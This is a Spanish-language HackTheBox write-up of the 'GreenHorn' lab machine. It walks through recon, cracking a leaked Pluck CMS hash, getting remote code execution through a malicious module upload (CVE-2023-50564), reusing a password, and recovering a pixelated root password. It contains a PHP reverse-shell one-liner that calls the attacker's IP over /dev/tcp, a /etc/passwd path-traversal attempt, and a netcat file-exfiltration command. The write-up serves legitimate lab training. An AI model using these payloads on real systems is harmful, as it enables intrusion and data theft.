GreenHorn – HackTheBox Link to heading
- OS: Linux
- Difficulty/Dificultad: Easy/Fácil
- Platform/Plataforma: HackTheBox
Resumen Link to heading
“GreenHorn” es una máquina de dificultad fácil de la plataforma HackTheBox
. Somos capaces de encontrar que el servidor víctima está corriendo una instancia de Gitea
, así como también un servicio web Pluck CMS
. Somos capaces de crearnos una cuenta en la instancia de Gitea
y, eventualmente, hallar un hash en un repositorio público; esta hash es crackeable, obteniendo así una contraseña para el panel admin de Pluck CMS
. Una vez dentro, somos capaces de instalar un módulo malicioso el cual nos da ejecución remota de comandos, ganando acceso inicial a la máquina víctima. Una vez dentro, encontramos que uno de los usuarios está reciclando la contraseña del panel de Pluck CMS
, por lo que somos capaces de pivotear. Este nuevo usuario tiene un archivo PDF el cual contiene una contraseña pixeleada, la cuales somos capaces de “limpiar”/depixelar, obtener una contraseña que corresponde al usuario root
y ganar así control total sobre la máquina víctima.
User / Usuario Link to heading
Empezamos viendo puertos TCP
abiertos en la máquina víctima usando Nmap
:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.25
Del output podemos ver 3 puertos abiertos: 22
SSH
, 80
HTTP
y 3000
otro sitio HTTP
; además, aplicamos algunos scripts de reconocimiento:
❯ sudo nmap -sVC -p22,80,3000 10.10.11.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 23:58 -04
Nmap scan report for 10.10.11.25
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=b37c13f914d7c31b; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=TfgSb8HSn0N38iQxFZ_XwzkGJWA6MTcyNDEyNjM0MDc5NjAwMzM4OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 20 Aug 2024 03:59:00 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=185b0fb05b5bb3e3; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=ChTQomRIw9JNYOh1X23Dlqf0Atw6MTcyNDEyNjM0NzM2MDMzNDA4Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 20 Aug 2024 03:59:07 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=8/19%Time=66C41483%P=x86_64-pc-linux-gnu%r
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.30 seconds
Del escaneo podemos ver que el sitio del puerto 80
está redirigiendo a http://greenhorn.htb
, de manera que agregamos este dominio al archivo /etc/hosts
ejecutando:
❯ echo '10.10.11.25 greenhorn.htb' | sudo tee -a /etc/hosts
Antes de visitar las páginas web en un navegador de internet, usamos WhatWeb
contra los puertos 80
y 3000
para ver potenciales tecnologías siendo usadas por los sitios respectivos:
❯ whatweb -a 3 http://greenhorn.htb
http://greenhorn.htb [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], RedirectLocation[http://greenhorn.htb/?file=welcome-to-greenhorn], nginx[1.18.0]
http://greenhorn.htb/?file=welcome-to-greenhorn [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], MetaGenerator[pluck 4.7.18], Pluck-CMS[4.7.18], Title[Welcome to GreenHorn ! - GreenHorn], nginx[1.18.0]
❯ whatweb -a 3 http://greenhorn.htb:3000
http://greenhorn.htb:3000 [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.25], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[GreenHorn], X-Frame-Options[SAMEORIGIN]
Del output podemos ver que el puerto 80
está corriendo Pluck CMS
, mientras que el puerto 3000
se encuentra corriendo Gitea
.
Pluck
is a content management system (CMS
) implemented in PHP
designed for setting up and managing your own website.Pluck
es un gestor de contenido como lo podría ser WordPress
o Joomla
.Visitando http://greenhorn.htb
muestra una simple página web:
Leyendo el texto de la página web, ésta claramente dice que el sitio web se encuentra todavía en desarrollo.
Podríamos tratar de obtener directorio a través de un Brute Force Directory Listing
, pero dado que Pluck
es de código abierto, podemos revisar su repositorio de Github. Allí podemos ver algunos archivos: admin.php
, index.php
, install.php
, requeriments.php
, login.php
y robots.txt
.
Visitando /admin.php
, como se esperaba, retorna un error dado que no estamos logueados:
Adicionalmente, luego de algunos segundos el sitio redirige a la ruta /login.php
, donde podemos ver:
Visitando los otros archivos PHP
o robots.txt
no muestra nada interesante, de manera que no vale la pena perder su tiempo.
Podemos notar también del escaneo con WhatWeb
, además del navegador de internet, que cuando visitamos http://greenhorn.htb
éste nos redirige a http://greenhorn.htb/?file=welcome-to-greenhorn
. Intentando un Local File Inclusion
visitando, por ejemplo, http://greenhorn.htb/?file=../../../../../../../../etc/passwd
retorna un error el cual muestra el siguiente texto:
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Buscando por algún sitio web random como test
visitando http://greenhorn.htb/?file=test
sólo retorna 404 Not Found
:
Ya en este punto dedicimos ir por el sitio Gitea
en el puerto 3000
. Visitando http://greenhorn.htb:3000
podemos ver la típica página de Gitea
:
Decidimos crear un usuario genérico en este servicio. Una vez creado, nos logueamos y podemos ver:
Ya en este punto podríamos tratar de buscar por repositorios expuestos. Para ello podemos clickear en Explore
en la barra superior, lo cual nos redirige a http://greenhorn.htb:3000/explore/repos
. Aquí podemos ver otro repositorio llamado GreenHorn
de un usuario llamado GreenAdmin
:
Entrando en este repositorio tenemos:
Aquí nos damos cuenta que los archivos contenidos en el repositorio son exactamente los mismos del repositorio de Github de Pluck CMS. Podemos revisar esta línea del repositorio para el archivo login.php o login.php
en el repositorio interno donde tenemos una porción de código:
<SNIP>
//If password is not correct; display error, and store attempt in loginattempt file for brute-force protection.
elseif (($pass != $ww) && (!isset($login_error))) {
$login_error = show_error($lang['login']['incorrect'], 1, true);
//If a loginattempt file already exists, update tries variable.
if (file_exists(LOGIN_ATTEMPT_FILE))
$tries++;
else
$tries = 1;
//Get current timestamp and save file.
save_file (LOGIN_ATTEMPT_FILE, array('tries' => $tries, 'timestamp' => time()));
}
}
<SNIP>
donde, en login.php
, podemos ver que, para autenticar la sesión, está comparando la contraseña dada por el usuario con la variable $ww
.
¿Pero dónde se encuentra esta variable $ww
? Googleando encontramos este post el cual explica cómo instalar Pluck CMS
en Ubuntu. Más específicamente, en la respuesta a la pregunta How to Changing the Password?
, donde dan la ruta data/settings/pass.php
. Además, mirando en el código fuente, notamos estas líneas las cuales están solicitando la variable:
<SNIP>
require_once 'data/settings/pass.php';
//Check if we're already logged in. First, get the token.
require_once 'data/settings/token.php';
if (isset($_SESSION[$token]) && ($_SESSION[$token] == 'pluck_loggedin')) {
header('Location: admin.php');
exit;
}
<SNIP>
En el repositorio oficial de Pluck
(de Github) no hay un archivo pass.php
. No obstante, en el repositorio de la máquina víctima de Gitea
sí existe un archivo data/settings/pass.php
donde podemos ver un hash:
con contenido:
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
Como podemos ver de la misma porción de código de login.php
, éste se encuentra usando un tipo de encriptado SHA512
:
<SNIP>
//If password has been sent, and the bogus input is empty, MD5-encrypt password.
if (isset($_POST['submit']) && empty($_POST['bogus'])) {
$pass = hash('sha512', $cont1);
//Create hash from user-IP, for brute-force protection.
define('LOGIN_ATTEMPT_FILE', 'data/settings/loginattempt_'.hash('sha512', $_SERVER['REMOTE_ADDR']).'.php');
<SNIP>
Guardamos el hash en nuestra máquina de atacantes e intentamos crackearlo a través de un Brute Force Password Cracking
usando la herramienta JohnTheRipper
y el formato SHA512
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt pluck_hash --format=Raw-SHA512
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=5
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1 (?)
1g 0:00:00:00 DONE (2024-08-20 01:17) 33.33g/s 170666p/s 170666c/s 170666C/s 123456..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña: iloveyou1
Esta contraseña debería de funcionar para /login.php
en el sitio corriendo en el puerto 80
(Pluck CMS
). De manera que visitamos http://greenhorn.htb/login.php
y pasamos esta contraseña. Esta contraseña funciona. Luego de algunos segundos estamos dentro del panel de administración:
Vamos a pages
en la barra superior, y luego a manage files
. Aquí subiré un simple archivo PHP
que nos entablará una reverse shell:
<?php system('bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1"'); ?>
donde 10.10.16.3
es nuestra IP de atacantes y 443
es el puerto en el cual nos pondremos en escucha con netcat
. Guardamos en este caso este archivo como gunzf0x.php
.
Si subimos este archivo al sitio, éste agrega la extensión .txt
como se ve a continuación:
Pero si visitamos el archivo subido, el código inyectado no es interpretado. de manera que tendremos que hallar otra manera de inyectar código al servicio web.
Buscando por exploits para Pluck
con versión 4.7.18
(como se puede ver en la parte inferior izquierda del panel) nos lleva a este blog a una vulnerabilidad catalogada como CVE-2023-50564. En corto, somos capaces de instalar un módulo falso. Este módulo podría ser un archivo .zip
con código PHP
dentro, el cual es interpretado por el sistema. De manera que comprimimos nuestro archivo PHP
previamente creado en un archivo .zip
:
❯ zip gunzf0x.zip gunzf0x.php
adding: gunzf0x.php (stored 0%)
Luego, en el panel de Pluck
vamos a options
, luego a manage modules
y vemos:
Clickeamos en Install a module...
y subimos el archivo .zip
generado:
Antes de clickear en Upload
, recordar empezar nuestro listener con netcat
. En este caso empezamos el listener en el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Podemos ahora clickear en Upload
. Si esto ha funcionado deberíamos de ver el texto The module has been installed succesfully
y luego de algunos segundos obtenemos una shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.25] 54736
bash: cannot set terminal process group (1095): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck$ whoami
whoami
www-data
Revisando usuarios en la máquina tenemos 3:
www-data@greenhorn:~/html/pluck$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash
Dado que el servicio SSH
se encuentra activo, podemos revisar si la contraseña del panel de Pluck
es reciclada por alguno de estos usuarios utilizando la herramienta NetExec
:
❯ netexec ssh 10.10.11.25 -u junior -p 'iloveyou1'
SSH 10.10.11.25 22 10.10.11.25 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.25 22 10.10.11.25 [-] junior:iloveyou1 Bad authentication type; allowed types: ['publickey']
Pero la máquina víctima no deja utilizar contraseñas para loguearse por SSH
. Sólo llaves (keys).
Por esta razón, dado que ya tenemos acceso a la máquina víctima como el usuario www-data
, intentamos pivotear al usuario junior
internamente utilizando la contraseña iloveyou1
(la misma del panel de Pluck
) en la máquina víctima:
www-data@greenhorn:~/html/pluck$ su junior
Password: iloveyou1
junior@greenhorn:/var/www/html/pluck$ whoami
junior
Podemos leer la flag de usuario en el directorio /home
de este usuario:
junior@greenhorn:/var/www/html/pluck$ ls -la /home/junior
total 76
drwxr-xr-x 3 junior junior 4096 Jun 20 06:36 .
drwxr-xr-x 4 root root 4096 Jun 20 06:36 ..
lrwxrwxrwx 1 junior junior 9 Jun 11 14:38 .bash_history -> /dev/null
drwx------ 2 junior junior 4096 Jun 20 06:36 .cache
-rw-r----- 1 root junior 33 Aug 20 03:53 user.txt
-rw-r----- 1 root junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'
Root Link to heading
Como vimos previamente, dentro del directorio /home/junior
hay un archivo PDF llamado Using OpenVAS.pdf
. Transferimos este archivo a nuestra máquina de atacante usando netcat
. Para ello empezamos un listener en el puerto 8888
en nuestra máquina de atacante, y guardamos todo lo recibido por el listener dentro de un archivo llamado OpenVAS_file.pdf
:
❯ nc -lvnp 8888 > OpenVAS_file.pdf
listening on [any] 8888 ...
Y transferimos el archivo .pdf
de la máquina víctima a nuestra máquina de atacante usando netcat
:
junior@greenhorn:~$ nc 10.10.16.3 8888 < 'Using OpenVAS.pdf'
Presionamos Ctrl-C
luego de algunos segundos establecida la conexión para asegurarnos de que el archivo se raspase íntegramente.
Ya traspasado el archivo, lo leemos:
Aparentemente, hay una contraseña algo pixeleada. Podemos entonces buscar alguna herramienta para “clarificar” la imagen pixeleada. Para ello podemos utilizar la herramienta Depix
. La descargamos de su repositorio de Github. Tomamos un screenshot/pantallazo de la contraseña pixeleada y la guardamos como pixelated_text.png
:
Luego, usamos la herramienta mencionada para “depixelear” la imagen. Dentro del repositorio descargado hay un directorio llamado images/searchimages
el cual contiene imágenes con patrones a probar para “clarificar” la imagen pixeleada:
❯ python3 depix.py -p pixelated_text.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o depixelated_text.png
2024-08-20 03:06:38,305 - Loading pixelated image from pixelated_text.png
2024-08-20 03:06:38,372 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
<SNIP>
2024-08-20 03:58:19,272 - Writing single match results to output
2024-08-20 03:58:19,277 - Writing average results for multiple matches to output
2024-08-20 04:00:02,285 - Saving output image to: depixelated_text.png
Eventualmente obtenemos:
Tenemos un texto:
sidefromsidetheothersidesidefromsidetheotherside
Revisamos si esta contrasña funciona para el usuario root
:
junior@greenhorn:~$ su root
Password: sidefromsidetheothersidesidefromsidetheotherside
root@greenhorn:/home/junior# whoami
root
GG. Somos root
. Podemos leer la flag en el directorio /root
.
~Happy Hacking